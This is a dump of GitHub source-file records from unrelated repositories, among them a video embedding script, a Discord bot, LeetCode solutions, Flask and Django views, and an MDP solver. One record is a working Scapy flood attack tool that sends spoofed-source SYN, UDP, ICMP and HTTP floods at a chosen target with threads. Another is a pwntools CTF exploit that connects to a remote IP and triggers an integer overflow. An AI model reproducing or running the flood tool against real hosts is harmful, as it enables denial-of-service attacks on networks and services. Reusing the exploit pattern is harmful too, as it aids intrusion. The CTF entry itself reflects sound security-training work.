fcnn.VM_HEIGHT, fcnn.VM_WIDTH), [fcnn.VM_HEIGHT, fcnn.VM_WIDTH, 1])\n\t\t\t\tvvec = sess.run(z, {x: [video_mat]})\n\t\t\t\tvideo_vec = np.squeeze(vvec)\n\t\t\t\tmids.append(mid)\t\n\t\t\t\tlabels.append(label)\t\n\t\t\t\tvideo_vecs.append(video_vec)\n\t\t\t\tcnt += 1\n\t\t\t\ttf.logging.info(' (%d) %s has been processed. Time cost (sec): %f' % (cnt, mid, time.time() - start_time))\n\t\t\t\tstart_time = time.time()\n\t\t\t\tif len(mids) == 10: \n\t\t\t\t\tvmp_file.video_vec_write_as_pattern_string(mids, labels, np.array(video_vecs), FLAGS.output_file, append = append)\n\t\t\t\t\tappend = True\n\t\t\t\t\tmids.clear()\n\t\t\t\t\tlabels.clear()\n\t\t\t\t\tvideo_vecs.clear()\n\t\t\tif len(mids) > 0: \n\t\t\t\tvmp_file.video_vec_write_as_pattern_string(mids, labels, np.array(video_vecs), FLAGS.output_file, append = append)\n\t\texcept IOError as err:\n\t\t\ttf.logging.warn(' Read \\\"%s\\\" error: %d' % (vmp_file, err))\n\t\tfinally:\n\t\t\tfp.close()\n\t\t\t\n\treturn 0\n\n\nif __name__ == '__main__':\n\ttf.logging.set_verbosity(tf.logging.INFO)\n\ttf.app.run()\n\n\n","repo_name":"fengyoung/video_embedding","sub_path":"vmat2vec.py","file_name":"vmat2vec.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"78"}
+{"seq_id":"5204772758","text":"#!/usr/bin/env python3\nfrom pwn import *\np = process('./math')\np = remote('10.212.27.23', 12138) \ncontext(os='linux', arch='amd64', log_level='debug')\n\nfor i in range(20):\n p.recvuntil('numberA = :')\n a = int(p.recvuntil('\\n'))\n p.recvuntil('numberB = :')\n b = int(p.recvuntil('\\n'))\n log.info('a: ' + str(a))\n log.info('b: ' + str(b))\n op = p.recvuntil(':')\n op = chr(op[-4])\n log.info('op: ' + op)\n if op == \"*\":\n p.sendline(str(a*b))\n elif op == \"+\":\n p.sendline(str(a+b))\n else:\n p.sendline(str(a-b))\n\np.sendlineafter(\"number:\", str(-2147483648) + \" \" + str(-1))\n\np.interactive()","repo_name":"buaactf/buaactf2022","sub_path":"Pwn/math_genius_revenge/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"}
+{"seq_id":"29821947233","text":"#!/usr/bin/env python\n\nimport json\nimport os.path\nimport numpy as np\nimport cv2\nimport os\nimport logging\nimport mmap\nfrom camera import camera\nimport serial\nfrom threading import Thread\nimport time\n\nlogging.basicConfig(filename='sessions/session.log',level=logging.DEBUG)\ndevice_port = \"/dev/ttyUSB1\"\nhas_sensor_board = False\nlastdevicestring = \"hello\"\nshutdown = False\n\ndef start_serial_device():\n global has_sensor_board\n global lastdevicestring\n ser = serial.Serial(device_port, 115200)\n firststring = ser.readline() \n if firststring == '\\n':\n ser.close()\n print(\"this is the arduino\")\n elif firststring == '------------------------------------\\r\\n':\n print(\"this is the sensor board\")\n has_sensor_board = True\n ser.reset_input_buffer()\n ser.write(\"stream\")\n while not shutdown :\n lastdevicestring = ser.readline()\n time.sleep(.05)\n ser.close()\n\ndef nothing(x):\n pass\n\nif __name__ == '__main__':\n cammera_list_data = open(\"camera_list.json\").read()\n camera_list_json = json.loads(cammera_list_data)\n cameras = camera_list_json['cameras']\n cam_devices = []\n\n if os.path.exists(device_port):\n t = Thread(target=start_serial_device)\n t.start()\n\n for cam in cameras:\n if os.path.exists(cam['cam_location']):\n print(\"found camera: \" + cam['cam_location'])\n cam_devices.append(camera(cam))\n\n\n cv2.namedWindow( 'window',cv2.WINDOW_NORMAL)\n cv2.resizeWindow('window', 2500,2000)\n\n max_value = [] \n for cam in cam_devices:\n max_value.append(0)\n cv2.createTrackbar(cam.cam_num + ': Exposure','window',cam.expo,255,cam.update_exposure)\n cv2.createTrackbar(cam.cam_num + ': Gain','window',cam.gain,550,cam.update_gain)\n #cv2.createTrackbar(cam.cam_num + ': Brightness','window',cam.bright,255,cam.update_brightness)\n \n for cam in cam_devices:\n cam.update_privacy(0)\n pass\n #cam.startCapturingThread()\n\n count = 0\n while True:\n print(lastdevicestring)\n count = count + 1\n framenum = 0\n frames = []\n output = None\n #for cam in cam_devices:\n # cam.triggerNewFrame()\n\n for cam in cam_devices:\n #frame = cam.getNewFrame()\n frame = cam.read() \n logstring = cam.generateCamLogString()\n if str(frame) != 'None' :\n w = 640\n x = 320\n h = 480\n y = 240\n frame = frame[y:y+h, x:x+w]\n blurred = cv2.blur(frame, (3, 3))\n biggest = np.amax(blurred)\n print(biggest)\n focus = cv2.Laplacian(frame, cv2.CV_32F).var()\n average = cv2.mean(frame)\n frame = cv2.cvtColor(frame,cv2.COLOR_GRAY2RGB)\n cv2.putText(frame,\"max value: \" + str(biggest), (100,100), cv2.FONT_HERSHEY_SIMPLEX, 2, (0,255,0),3)\n cv2.putText(frame,\"focus: \" + \"%.2f\" % focus, (100,200), cv2.FONT_HERSHEY_SIMPLEX, 2, (0,255,0),3)\n cv2.putText(frame,\"average: \" + str(average[0]), (100,300), cv2.FONT_HERSHEY_SIMPLEX, 2, (0,255,0),3)\n cv2.putText(frame,\"exposure: \" + str(cam.expo), (100,400), cv2.FONT_HERSHEY_SIMPLEX, 2, (0,255,0),3)\n cv2.putText(frame,\"gain: \" + str(cam.gain), (100,500), cv2.FONT_HERSHEY_SIMPLEX, 2, (0,255,0),3)\n #cam.autoExpose(biggest)\n #if cam.cam_num == \"3\":\n # print(\"saving cam 3\")\n # cv2.imwrite(\"frame_\" + str(count) +\"_cam_\" + cam.cam_num + \".png\", frame)\n \n \n frames.append(frame)\n if str(output) == 'None':\n output = frame\n else:\n output = np.hstack((output, frame))\n framenum = framenum + 1\n\n # Display the resulting frame\n cv2.imshow( \"window\",output)\n if cv2.waitKey(250) & 0xFF == ord('q'):\n break\n\n print(\"closing Camers\")\n for cam in cam_devices:\n cam.close()\n\n global shutdown \n shutdown = True\n","repo_name":"rijesha/multicamcontroller","sub_path":"settings_helper.py","file_name":"settings_helper.py","file_ext":"py","file_size_in_byte":4192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"39276041136","text":"import geopandas as gpd\nfrom shapely.geometry import box\n\n\ndef get_grid(upper_left, lower_right, resolution):\n \"\"\"\n Funkcja tworząca siatkę o określonym zagęszczeniu w oparciu o podane\n współrzędne lewego górnego i prawego dolnego rogu obszaru.\n\n Parametry:\n upper_left (tuple): krotka (x, y) zawierająca współrzędne lewego górnego rogu obszaru\n lower_right (tuple): krotka (x, y) zawierająca współrzędne prawego dolnego rogu obszaru\n resolution (float): zagęszczenie siatki (w jednostkach współrzędnych)\n\n Zwraca:\n GeoDataFrame: obiekt GeoDataFrame z siatką\n \"\"\"\n ymin, xmax = upper_left\n ymax, xmin = lower_right\n\n # Oblicz liczbę kolumn i wierszy siatki na podstawie podanych parametrów\n # to do (powiekszyc zeby grid był wiekszy np +10)\n cols = abs(int((xmax - xmin) / resolution) + 2)\n rows = abs(int((ymax - ymin) / resolution) + 2)\n\n # Utwórz siatkę z obiektów shapely.geometry.box\n grid = gpd.GeoDataFrame(\n geometry=[\n box(\n xmin + i * resolution,\n ymax - j * resolution,\n xmin + (i + 1) * resolution,\n ymax - (j + 1) * resolution,\n )\n for j in range(rows)\n for i in range(cols)\n ]\n )\n\n return grid\n","repo_name":"ineska01/geoprojekt3","sub_path":"grid_engine.py","file_name":"grid_engine.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"72084895293","text":"import os\nimport discord\nfrom discord.ext import commands, tasks\nimport requests\nimport json\nimport random\nfrom replit import db\nfrom keep_alive import keep_alive\n\n\n#simple bot reply to specific msg\nbot = commands.Bot(command_prefix='$')\nchannel = int(os.environ['CHANNEL'])\n\nsad_words = [\"sad\", \"depressed\", \"unhappy\", \"angry\", \"bad\", \"miserable\", \"depressing\"]\n\nstarter_encouragements = [\n \"Cheer up!\",\n \"Hang in there.\",\n \"You are a great person :smiling_face_with_3_hearts: / bot! \",\n \"Fighting!! you can do it!\",\n \"Positive things will come to you soon :grin: !\"\n]\n \ndef handle_socket_message(msg):\n print(f\"message type: {msg['e']}\")\n print(msg)\n\ndef update_encouragements(encouraging_message):\n if \"encouragements\" in db.keys():\n encouragements = db[\"encouragements\"]\n encouragements.append(encouraging_message)\n db[\"encouragements\"] = encouragements\n else:\n db[\"encouragements\"] = [encouraging_message]\n\ndef delete_encouragment(index):\n encouragements = db[\"encouragements\"]\n if len(encouragements) > index:\n del encouragements[index]\n db[\"encouragements\"] = encouragements\n \ndef get_quote():\n response = requests.get(\"https://zenquotes.io/api/random\")\n json_data = json.loads(response.text)\n quote = json_data[0]['q'] + \" -\" + json_data[0]['a']\n return(quote)\n\n@bot.command(name=\"quote\")\nasync def send_quote(ctx):\n await ctx.send(get_quote())\n \n@bot.event\nasync def on_ready():\n print('We have logged in as {0.user}'.format(bot))\n send_channel = bot.get_channel(channel)\n await send_channel.send(\"Bot is now OPEN\")\n \n@bot.command(name='hello')\nasync def send_hello(ctx):\n await ctx.send('Hello {0.author.display_name} :smiling_face_with_3_hearts: '.format(ctx))\n\n@bot.command(name='help_command')\nasync def send_help(ctx):\n await ctx.send(\"GET INSPIRATION QUOTE BY USING '$quote' !\")\n\n@bot.command(name='copy')\nasync def send_reply(ctx, arg):\n await ctx.send('{}'.format(arg))\n\n@bot.command(name='new')\nasync def add_encourage(ctx, arg):\n update_encouragements(arg)\n await ctx.send(\"New encouraging message added.\")\n\n@bot.command(name='del')\nasync def del_encourage(ctx, arg):\n encouragements = []\n if \"encouragements\" in db.keys():\n delete_encouragment(int(arg))\n encouragements = db[\"encouragements\"]\n await ctx.send(encouragements)\n\n@bot.command(name='list')\nasync def list_encourage(ctx, arg):\n encouragements = []\n if \"encouragements\" in db.keys():\n encouragements = db[\"encouragements\"]\n await ctx.send(encouragements)\n \n@bot.event\nasync def on_member_join(member):\n await member.create_dm()\n await member.dm_channel.send(\n f'Hi {member.name}, welcome to Artscape Discord server :smiling_face_with_3_hearts: !'\n )\n await channel.send('Välkommen :smiling_face_with_3_hearts: !! {0.name}'.format(member))\n \n\n@bot.event\nasync def on_message(message):\n if message.author == bot.user:\n return\n msg = message.content\n options = starter_encouragements\n if any(word in msg for word in sad_words):\n await message.channel.send(random.choice(options))\n if msg.startswith('hello'):\n await message.channel.send('Hello {0.author.display_name}'.format(message))\n await bot.process_commands(message)\n \n \n\n \n#run the bot\nkeep_alive()\nbot.run(os.environ['TOKEN'])","repo_name":"Arthunik/Basic-Python-Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"69851082492","text":"from sys import stdout\nfrom scapy.all import *\nfrom random import randint\nfrom argparse import ArgumentParser\nimport threading\nimport time\n\n\n# ICMP/UDP/TCP Flood Attack Tool\ndef main():\n print(\"______ _ _ ___ _ _ _ _____ _ \")\n print(\"| ___|| | | | / _ \\ | | | | | | |_ _| | |\")\n print(\"| |_ | | ___ ___ __| | / /_\\ \\| |_ | |_ __ _ ___ | | __ | | ___ ___ | |\")\n print(\"| _| | | / _ \\ / _ \\ / _` | | _ || __|| __| / _` | / __|| |/ / | | / _ \\ / _ \\ | |\")\n print(\"| | | || (_) || (_) || (_| | | | | || |_ | |_ | (_| || (__ | < | | | (_) || (_) || |\")\n print(\"\\_| |_| \\___/ \\___/ \\__,_| \\_| |_/ \\__| \\__| \\__,_| \\___||_|\\_\\ \\_/ \\___/ \\___/ |_|\\n\")\n time.sleep(1)\n \n parser = ArgumentParser()\n parser.add_argument(\"--SynFlood\", \"-s\", action='store_true', help=\"Syn Flood Attack\")\n parser.add_argument(\"--UDPFlood\", \"-u\", action='store_true', help=\"UDP Flood Attack\")\n parser.add_argument(\"--ICMPFlood\", \"-i\", action='store_true', help=\"ICMP Flood Attack\")\n parser.add_argument(\"--HTTPFlood\", \"-H\", action='store_true', help=\"HTTP Flood Attack\")\n parser.add_argument(\"--target\", \"-t\", required=True, help=\"target IP address\")\n parser.add_argument(\"--port\", \"-p\", default=80, help=\"target port number\")\n parser.add_argument(\"--thread\", \"-T\", default=10, help=\"target port number\")\n parser.add_argument(\n \"--repeat\", \"-r\", default=100, help=\"attack number of repetition\"\n )\n\n args = parser.parse_args()\n \n dstIP = args.target\n dstPort = args.port\n repeat = args.repeat\n\n if args.SynFlood:\n target = SynFlood\n elif args.UDPFlood:\n target = UDPFlood\n elif args.ICMPFlood:\n target = ICMPFlood\n elif args.HTTPFlood:\n target = HTTPFlood\n else:\n print(\"-\"*35 + \"Attack Type is Missing\"+35*\"-\"+\"\\n\")\n return\n \n threads =[]\n for _ in range(int(args.thread)):\n t = threading.Thread(target=target,args=(dstIP,dstPort,int(repeat)))\n t.start()\n threads.append(t)\n for thread in threads:\n thread.join()\n\ndef randomSrcIP():\n ip = \".\".join(map(str, (randint(0, 255)for _ in range(4))))\n return ip \n\ndef randomPort():\n port = randint(0, 65535)\n return port\n\ndef SynFlood(dstIP,dstPort,repeat):\n for x in range(int(repeat)):\n IP_Packet = IP()\n IP_Packet.src = randomSrcIP()\n IP_Packet.dst = dstIP\n\n TCP_Packet = TCP()\n TCP_Packet.sport = randomPort() \n TCP_Packet.dport = dstPort\n TCP_Packet.flags = \"S\"\n send(IP_Packet/TCP_Packet,verbose=False)\n print(\"-\"*35 + \"SYN Packet is Successfuly sended\"+35*\"-\"+\"\\n\")\n\ndef HTTPFlood(dstIP,dstPort,repeat):\n for x in range(repeat):\n try:\n IP_Packet = IP()\n IP_Packet.dst = dstIP\n IP_Packet.src = randomSrcIP()\n\n TCP_Packet = TCP()\n TCP_Packet.sport = randomPort()\n TCP_Packet.dport = dstPort\n TCP_Packet.flags=\"S\"\n \n syn = IP_Packet/TCP_Packet\n packet_SynAck = sr1(syn,timeout=1,verbose=False)\n \n if(packet_SynAck is None):\n print(\"-\"*35 + \"ACK+SYN Packet is Filtered\"+35*\"-\"+\"\\n\")\n continue\n TCP_Packet.flags=\"A\"\n TCP_Packet.seq = packet_SynAck[TCP].ack\n TCP_Packet.ack= packet_SynAck[TCP].seq+1\n getStr='GET / HTTP/1.0\\n\\n'\n\n send(IP_Packet/TCP_Packet/getStr,verbose=False)\n print(\"-\"*35 + \"HTTP Packet is Successfuly sended\"+35*\"-\"+\"\\n\")\n except:\n print(\"-\"*35 + \"Error Occured during Sending packets\"+35*\"-\"+\"\\n\")\n\ndef UDPFlood(dstIP,dstPort,repeat):\n data = \"A\"*1250\n for x in range(repeat):\n IP_Packet = IP()\n IP_Packet.src = randomSrcIP()\n IP_Packet.dst = dstIP\n\n UDP_Packet = UDP()\n UDP_Packet.dport = randomPort()\n send(IP_Packet/UDP_Packet/Raw(load=data),verbose=False)\n print(\"-\"*35 + \"UDP Packet is Successfuly sended\"+35*\"-\"+\"\\n\")\n\ndef ICMPFlood(dstIP,dstPort,repeat):\n for x in range(repeat):\n IP_Packet = IP()\n IP_Packet.src = dstIP\n IP_Packet.dst = randomSrcIP()\n ICMP_Packet = ICMP()\n send(IP_Packet/ICMP(),verbose=False)\n print(\"-\"*35 + \"ICMP Packet is Successfuly sended\"+35*\"-\"+\"\\n\")\n\n\nmain()\n","repo_name":"GoBeromsu/Python_Flood_Attack_Tool","sub_path":"py3_flood_attack.py","file_name":"py3_flood_attack.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"}
+{"seq_id":"32856721974","text":"import logging\nimport os\nfrom pathlib import Path\nimport subprocess\nimport sys\n\nif __name__ == '__main__':\n from argparse import ArgumentParser\n\n parser = ArgumentParser()\n parser.add_argument(\"--rank\", type=int, default=0)\n\n # go to project root directory\n os.chdir(Path(__file__).parent)\n\n torch_distributed_default_port = int(os.getenv(\"TORCH_DISTRIBUTED_DEFAULT_PORT\", 29500))\n args, *_ = parser.parse_known_args()\n master_port = torch_distributed_default_port + args.rank\n\n \"\"\"\n process = ClientConstants.exec_console_with_shell_script_list(\n [\n python_program, # python\n entry_fill_full_path, # ./main_mlops.py\n \"--cf\", # --cf\n conf_file_full_path, # $mlops_path/fedml_config.yaml\n \"--rank\", # --rank\n str(dynamic_args_config[\"rank\"]), # rank\n \"--role\", # --role\n \"client\", # client\n ],\n python main_mlops.py --cf fedml_config/fedml_config.yaml --rank 0 --role client\n \"\"\"\n print(f\"sys.argv = {sys.argv}\")\n result = subprocess.run(\n \" \".join([\n \"bash\",\n \"scripts/run_fedml.sh\",\n \"\\\"\\\"\", # master address\n f\"{master_port}\", # master port\n \"\\\"\\\"\", # number of nodes\n \"main_fedllm.py\", # main program\n *sys.argv[1:],\n ]),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True\n )\n\n logging.info(result.stdout)\n logging.error(result.stderr)\n\n exit(result.returncode)\n","repo_name":"slin013/FedML","sub_path":"python/app/fedllm/main_mlops.py","file_name":"main_mlops.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"36962877787","text":"with open('../input/01.txt') as stream:\n d = [int(line) for line in stream.readlines()]\n\nincreasing = 0\nfor i in range(len(d)):\n if i > 0 and d[i] > d[i-1]:\n increasing += 1\nprint(increasing)\n\nincreasing = 0\nfor i in range(len(d)):\n if i > 3 and (d[i] + d[i-1] + d[i-2]) > (d[i-1] + d[i-2] + d[i-3]):\n increasing += 1\nprint(increasing)\n","repo_name":"nemmiz/aoc2021","sub_path":"python/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12891436998","text":"from bisect import bisect_right\nfrom typing import List\n\n\nclass Solution:\n def minOperations(self, nums: List[int]) -> int:\n new_nums = sorted(set(nums))\n ans = ln = len(nums)\n lnn =len(new_nums)\n i = j = 0\n while i < lnn - ln + ans:\n right = new_nums[i] + ln\n while j < lnn and new_nums[j] < right:\n j += 1\n ans = min(ans, ln + i - j)\n i += 1\n return ans\n\n\nclass Solution1:\n def minOperations(self, nums: List[int]) -> int:\n new_nums = sorted(set(nums))\n ln = len(nums)\n lnn =len(new_nums)\n i = j = 0\n c = 1\n while i < lnn - c:\n right = new_nums[i] + ln\n while j < lnn and new_nums[j] < right:\n j += 1\n c = max(c, j - i)\n i += 1\n return ln - c\n\n\nclass Solution2:\n def minOperations(self, nums: List[int]) -> int:\n ln = len(nums)\n ans = ln\n new_nums = sorted(set(nums))\n\n for i in range(len(new_nums)):\n right = new_nums[i] + ln - 1\n j = bisect_right(new_nums, right)\n ans = min(ans, ln + i - j)\n\n return ans\n\n\nclass Solution3:\n def minOperations(self, nums: List[int]) -> int:\n new_nums = sorted(set(nums))\n return min(len(nums) + i - bisect_right(new_nums, new_nums[i] + len(nums) - 1) for i in range(len(new_nums)))\n\n\ndef test():\n sol = Solution()\n\n print('Test 1 ... ', end='')\n assert sol.minOperations(nums=[4, 2, 5, 3]) == 0\n print('ok')\n\n print('Test 2 ... ', end='')\n assert sol.minOperations(nums=[1, 2, 3, 5, 6]) == 1\n print('ok')\n\n print('Test 3 ... ', end='')\n assert sol.minOperations(nums=[1, 10, 100, 1000]) == 3\n print('ok')\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"Vskesha/leetcode_solutions","sub_path":"leetcode_solutions/p2009_minimum_number_of_operations_to_make_array_continuous.py","file_name":"p2009_minimum_number_of_operations_to_make_array_continuous.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}
+{"seq_id":"34760717290","text":"#!/usr/bin/env python\n\"\"\"\nScript for training a basic RandomForest Regressor using sklearn.\n\nAuthor: Julian de Ruiter\n\n\"\"\"\n\nimport argparse\nimport pickle\nimport logging\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestRegressor\n\nlogging.basicConfig(format='[%(asctime)-15s] %(message)s', level=logging.INFO)\n\n\ndef main():\n args = parse_args()\n\n # Load datasets.\n logging.info('Reading train dataset')\n\n x_train = pd.read_csv(args.x_train, index_col=0)\n y_train = pd.read_csv(args.y_train, index_col=0)\n\n y_train = y_train[y_train.columns[0]]\n\n # Perform some sanity checks.\n if not all(x_train.index == y_train.index):\n raise ValueError('y_train does not match given x_train')\n\n # Train model.\n logging.info('Training model')\n\n model = RandomForestRegressor(\n n_jobs=args.cpus,\n n_estimators=args.n_estimators,\n random_state=args.seed)\n\n model.fit(x_train, y_train.values)\n\n # Write model if requested.\n logging.info('Saving model')\n\n model_path = args.output_base + '.model.pkl'\n with open(model_path, 'wb') as file_:\n pickle.dump(model, file=file_)\n\n # Predict for test set (if given).\n if args.x_test is not None:\n logging.info('Reading test dataset')\n x_test = pd.read_csv(args.x_test, index_col=0)\n\n if not all(x_train.columns == x_test.columns):\n raise ValueError('x_test columns do not match x_train')\n\n logging.info('Calculating predictions')\n y_pred = model.predict(x_test)\n\n logging.info('Writing predictions')\n\n pred_path = args.output_base + 'pred.csv'\n y_pred_df = pd.DataFrame({'y': y_pred}, index=x_test.index)\n y_pred_df.to_csv(pred_path, index=True)\n\n logging.info('Done!')\n\n\ndef parse_args():\n \"\"\"Parses command line arguments.\"\"\"\n\n parser = argparse.ArgumentParser(\n description=\"Trains a RandomForest regressor for the given dataset.\")\n\n parser.add_argument(\n '--x_train',\n required=True,\n help='Training data (features) in CSV format.')\n parser.add_argument(\n '--y_train',\n required=True,\n help='Training data (response) in CSV format.')\n\n parser.add_argument(\n '--x_test', default=None, help='Test data (features) in CSV format.')\n\n parser.add_argument(\n '--output_base', required=True, help='Base output path.')\n\n parser.add_argument(\n '--n_estimators',\n type=int,\n default=500,\n help='Number of estimators to use when training the model.')\n\n parser.add_argument(\n '--cpus',\n type=int,\n default=1,\n help='Number of CPUs to use when training the model.')\n\n parser.add_argument(\n '--seed',\n type=int,\n default=1,\n help='Seed to use for the RandomForest.')\n\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"NKI-CCB/multitask_vi","sub_path":"src/multitask_vi/main/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2921,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"}
+{"seq_id":"15357136792","text":"from psycopg2 import IntegrityError\nfrom flask_jwt_extended import jwt_required, get_jwt_identity\nfrom flask import Blueprint, jsonify, make_response\nfrom models.post import Post\nfrom models.saved_posts import SavedPost, saved_post_schema\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom errors import (\n handle_unauthorized,\n handle_not_found,\n handle_method_not_allowed,\n handle_internal_server_error,\n)\n\nsave_post_bp = Blueprint(\n \"saved_post\",\n __name__,\n)\n\n\n@save_post_bp.route(\"//save\", methods=[\"POST\"])\n@jwt_required\ndef save_post(post_id):\n user = get_jwt_identity()\n user_id = user.id\n\n post = Post.query.get_or_404(id=post_id)\n\n saved_post = SavedPost.query.filter_by(user_id=user_id, post_id=post_id).first()\n try:\n if saved_post:\n saved_post.delete()\n return make_response(\n jsonify({\"success\": True, \"message\": \"Post successfully unsaved\"}),\n 204,\n )\n\n new_saved_post = SavedPost(user_id=user_id, post_id=post_id)\n new_saved_post.insert()\n return make_response(\n jsonify(\n {\n \"success\": True,\n \"message\": \"Post successfully saved\",\n \"saved_post\": saved_post_schema.dump(new_saved_post),\n }\n ),\n 201,\n )\n\n except NoResultFound:\n return handle_not_found(\"\")\n except IntegrityError:\n new_saved_post.rollback_session()\n return handle_internal_server_error(\"Something went wrong, please try again\")\n except Exception as e:\n new_saved_post.rollback_session()\n return handle_internal_server_error(\"Something went wrong, please try again\")\n\n\n@save_post_bp.errorhandler(404)\ndef not_found_handler(e):\n return handle_not_found(\"\")\n\n\n@save_post_bp.errorhandler(500)\ndef internal_server_error_handler(e):\n return handle_internal_server_error(\"\")\n\n\n@save_post_bp.errorhandler(405)\ndef method_not_allowed_handler(e):\n return handle_method_not_allowed(\"\")\n\n\n@save_post_bp.errorhandler(401)\ndef unauthorized_handler(e):\n return handle_unauthorized(\"\")\n","repo_name":"Nyamekesse/neuvo","sub_path":"server/blueprints/save_post_route.py","file_name":"save_post_route.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13198546292","text":"import sys\r\nimport numpy as np\r\nfrom mdpAlgorithms import run_algorithm\r\n\r\nif __name__ == \"__main__\":\r\n mdpfile = sys.argv[1]\r\n algorithm = sys.argv[2]\r\n numStates = 0\r\n numActions = 0\r\n discount = 0.0\r\n mdpType = \"\"\r\n rewards = []\r\n transition = []\r\n # reading from the MDP file\r\n with open(mdpfile, 'r') as f:\r\n i = 0\r\n for line in f:\r\n if (i == 0):\r\n numStates = int(line.strip())\r\n elif (i == 1):\r\n numActions = int(line.strip())\r\n elif (i >= 2 and i < numStates * numActions + 2):\r\n tokens = line.strip().split('\\t')\r\n tokens = list(map(float, tokens))\r\n rewards.extend(tokens)\r\n elif (i >= numStates * numActions + 2 and i < 2 * numStates * numActions + 2):\r\n tokens = line.strip().split('\\t')\r\n tokens = list(map(float, tokens))\r\n transition.extend(tokens)\r\n elif (i == 2 + 2 * numStates * numActions):\r\n discount = float(line.strip())\r\n elif (i == 3 + 2 * numStates * numActions):\r\n mdpType = line.strip()\r\n i += 1\r\n transition = np.reshape(transition, (numStates, numActions, numStates))\r\n rewards = np.reshape(rewards, (numStates, numActions, numStates))\r\n policy, value = run_algorithm(numStates, numActions, rewards, transition, discount, mdpType, algorithm)\r\n for state in range(numStates):\r\n print(value[state][0], policy[state][0])","repo_name":"harshsiloiya98/CS747-Assignments","sub_path":"markov-decision-process/init.py","file_name":"init.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"12596467674","text":"from django.shortcuts import render\nfrom rest_framework import status\nfrom rest_framework.decorators import action\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom .serializers import *\nfrom .models import *\n\n\nclass QoshiqchilarAPIView(APIView):\n def get(self, request):\n qoshiqchilar = Qoshiqchi.objects.all()\n ser = QoshiqchiSerializer(qoshiqchilar, many=True)\n return Response(ser.data)\n def post(self,request):\n a = request.data\n ser = QoshiqchiSerializer(a)\n if ser.is_valid():\n ser.save()\n return(ser.data)\n\n\n\n\nclass QoshiqchiAPIView(APIView):\n def get(self,request, pk):\n # qoshiqchi = Qoshiqchi.objects.get(id=pk)\n qoshiqchi = get_object_or_404(Qoshiqchi, id=pk)\n ser = QoshiqchiSerializer(qoshiqchi)\n return Response(ser.data)\n def patch(self,request,pk):\n qoshiqchi = get_object_or_404(Qoshiqchi, id=pk)\n ser = QoshiqchiSerializer(qoshiqchi,data=request.data,partial=True)\n if ser.is_valid():\n ser.save()\n return Response(ser.data, status=status.HTTP_202_ACCEPTED)\n return Response(ser.data, status.HTTP_406_NOT_ACCEPTABLE)\n def delete(self, request,pk):\n try:\n qoshiqchi = get_object_or_404(Qoshiqchi, id=pk).delete()\n data = {\"xabar\":\"Muvaffaqiyatli o'chirildi!\"}\n return Response(data, status=status.HTTP_200_OK)\n except:\n data = {\"xabar\":\"Bu id' da qo'shichi yo'q\"}\n return Response(data, status=status.HTTP_404_NOT_FOUND)\n\n\n\nclass QoshiqAPIView(APIView):\n def get(self, request):\n qoshiqlar = Qoshiq.objects.all()\n ser = QoshiqchiSerializer(qoshiqlar, many=True)\n return Response(ser.data)\n def post(self,request):\n a = request.data\n ser = QoshiqSerializer(a)\n if ser.is_valid():\n ser.save()\n return Response(ser.data)\n return Response(ser.errors)\n\nclass AlbomlarAPIView(APIView):\n def get(self, request):\n albom = Albom.objects.all()\n ser = QoshiqchiSerializer(albom, many=True)\n return Response(ser.data)\n def post(self,request):\n a = request.data\n ser = AlbomSerializer(a)\n if ser.is_valid():\n ser.save()\n return Response(ser.data)\n return Response(ser.errors)\n\n\nclass AlbomAPIView(APIView):\n def get(self,request, pk):\n albom = get_object_or_404(Albom, id=pk)\n ser = AlbomSerializer(albom)\n return Response(ser.data)\n\n @action(diteal=True, methods=[\"get\"])\n def qoshiqchilar(self, request, pk = None):\n albom = self.get_object()\n qoshiqchilar = Qoshiqchi.objects.filter(albom=albom)\n ser = AlbomSerializer(qoshiqchilar, many=True)\n return Response(ser.data)\n def patch(self,request,pk):\n albom = get_object_or_404(Albom, id=pk)\n ser = AlbomSerializer(albom,data=request.data,partial=True)\n if ser.is_valid():\n ser.save()\n return Response(ser.data, status=status.HTTP_202_ACCEPTED)\n return Response(ser.data, status.HTTP_406_NOT_ACCEPTABLE)","repo_name":"dcAlfa/API","sub_path":"Spotfy/Music/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
